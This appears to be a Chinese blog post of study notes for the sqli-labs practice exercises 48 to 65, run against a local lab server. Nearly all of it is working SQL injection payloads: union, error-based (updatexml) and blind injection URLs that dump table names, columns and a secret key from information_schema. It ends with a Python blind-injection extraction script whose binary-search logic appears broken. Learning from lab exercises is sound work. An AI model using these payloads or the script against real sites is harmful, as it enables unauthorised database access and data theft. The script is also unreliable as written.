http://127.0.0.1/4/Less-48/?sort=(ascii(substr((select database()) ,1,1))) = 115

盲注

49.Less-49

同上

50.Less-50

叠加注入

51.Less-51

同上

52.Less-52

同上

53.Less-53

同上

54.Less-54

//得到表名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

//得到列名
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_name='vccxqgykem')--+

//得到secret_key
http://127.0.0.1/4/Less-54/?id=1111' union select 1,2,(select group_concat(secret_7O6V) from challenges.vccxqgykem)--+


s6b5Y9iSw0nH34iLJPkdVzdi

55.Less-55

http://127.0.0.1/4/Less-55/?id=-1) union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

56.Less-56

http://127.0.0.1/4/Less-56/?id=-1') union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

57.Less-57

http://127.0.0.1/4/Less-57/?id=-1" union select 1,2,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges')--+

58.Less-58

http://127.0.0.1/4/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+


//注意这里的0x7e不能省略

59.Less-59

http://127.0.0.1/4/Less-59/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

60.Less-60

http://127.0.0.1/4/Less-60/?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

61.Less-61

http://127.0.0.1/4/Less-61/?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA='challenges'),0x7e),1)--+

62.Less-62

#盲注
import requests
global num
num=0
payload1 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d--+"
payload2 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))<%d--+"
payload3 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))=%d--+"

payload4 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))>%d--+"
payload5 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))<%d--+"
payload6 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select column_name  from information_schema.columnS where TABLE_name=%s limit 2,1),%s,1))=%d--+"


payload7 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))>%d--+"
payload8 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))<%d--+"
payload9 = "http://127.0.0.1/4/Less-62/index.php?id=1') and ascii(substr((select %s from %s),%s,1))=%d--+"

dic = []
for need_number in range(48,58):
	dic.append(chr(need_number))
for need_number in range(65,91):
	dic.append(chr(need_number))
for need_number in range(97,123):
	dic.append(chr(need_number))
    

def check_table(payload):
	global num
	num += 1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0
    
def check_column(payload):
	global num
	num+=1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0
    
def check_key(payload):
	global num
	num+=1
	content=requests.get(url=payload).text
	if "Angelina" in content:
		return 1
	else:
		return 0

    
    
def solution_table():
	min=0
	max=len(dic)-1
	tmp=''
	table_name=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url1=payload1%(i,t)
			url2=payload2%(i,t)
			url3=payload3%(i,t)
			if check_table(url1):
				max=center+1
			if check_table(url2):
				min=center-1
			if check_table(url3):
				tmp=chr(t)
				break
		table_name+=tmp
	return table_name


def solution_column(table_name):
	min=0
	max=len(dic)-1
	tmp=''
	column_name=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url4=payload4%(table_name,i,t)
			url5=payload5%(table_name,i,t)
			url6=payload6%(table_name,i,t)
			if check_column(url4):
				max=center+1
			if check_column(url5):
				min=center-1
			if check_column(url6):
				tmp=chr(t)
				break
		column_name+=tmp
	return column_name
        
def solution_key(column_name,table_name):
	min=0
	max=len(dic)-1
	tmp=''
	key=''
	for i in range(11):
		for t in range(min,max):
			center=int((min+max)/2)
			url7=payload7%(column_name,table_name,i,t)
			url8=payload8%(column_name,table_name,i,t)
			url9=payload9%(column_name,table_name,i,t)
			if check_key(url7):
				max=center+1
			if check_key(url8):
				min=center-1
			if check_key(url9):
				tmp=chr(t)
				break
		key+=tmp
	return key                
    
if __name__=="__main__":
	table_name=solution_table()
	column_name=solution_column(table_name)
	key=solution_key(column_name,table_name)
	print("the table_name is : "+table_name+"\t"+"the column_name is : "+column_name+"\t"+"the key is : "+key)
    

Less-63-65

类似
学习笔记四:sql手工注入_第1张图片

你可能感兴趣的:(分享,信息安全)